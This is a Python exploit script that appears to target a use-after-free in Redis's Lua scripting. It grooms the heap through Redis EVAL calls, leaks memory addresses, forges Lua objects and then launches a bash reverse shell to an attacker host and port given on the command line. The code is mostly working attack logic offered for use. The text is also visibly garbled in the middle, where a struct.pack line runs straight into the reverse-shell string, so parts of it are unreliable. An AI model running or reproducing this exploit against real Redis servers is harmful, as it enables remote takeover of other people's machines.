import uuid import struct import argparse from redis import Redis K_TSTRING = 'tstring' K_LUASTATE = 'luastate' class ExploitState: _lua_src = [ 'stage1-forge-objects', 'stage1-leak-tstring', 'stage1-uaf', 'stage1-clear-heap', ] def __init__(self, redis_: Redis): self.id = uuid.uuid4().hex self.redis = redis_ self.src = {} self.tstring_addr = 0 self.k_tstring = 'tstring_%s' % self.id for src_file in self._lua_src: with open(f'./{src_file}.lua', 'r') as f: self.src[src_file] = f.read() def stage1_leak_tstring(state: ExploitState): state.redis.eval(state.src['stage1-leak-tstring'], 1, state.k_tstring) nres = state.redis.llen(state.k_tstring) res = [state.redis.lpop(state.k_tstring) for _ in range(nres)] addrs = [] for desc in res: t = desc.decode().split(' ')[1] addrs.append(int(t, 16)) tstring_addrs = [] for c1, c2 in zip(addrs[:-1], addrs[1:]): diff = c2 - c1 if diff == 0x5b0: tstring_addrs.append(c1 + 0x508) print(f'[/] coro1=0x{c1:x}, coro2=0x{c2:x}, diff=0x{diff:x}') assert tstring_addrs, \ 'Heap grooming failed - distance between threads is wrong' state.tstring_addr = tstring_addrs[min(1, len(tstring_addrs) - 1)] print("[+] TString address: 0x%x" % state.tstring_addr) def stage1_forge_objects(state: ExploitState): array_addr = state.tstring_addr + 0x48 tstring2_addr = array_addr + 0x10 node_addr = tstring2_addr + 0x10 # Table: 0x48 tstring = b'' tstring += struct.pack("Q", 0x0) # lsizenode + [alignment] tstring += struct.pack("&/dev/tcp/{lhost}/{lport} 0>&1 )&" > /dev/null' state = ExploitState(r) clear_heap(state) stage1(state, command) cleanup(state) if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('--lhost', required=True, type=str, help="The reverse shell listen host") parser.add_argument('--lport', required=True, type=int, help="The reverse shell listen port") parser.add_argument('--rhost', required=True, type=str, help="The Redis host") parser.add_argument('--rport', type=int, default=6379, help="The redis host port, defaults to 6379") parser.add_argument('--password', type=str, default=None, help="The redis password") args = parser.parse_args() main(args.rhost, args.rport, args.lhost, args.lport, args.password)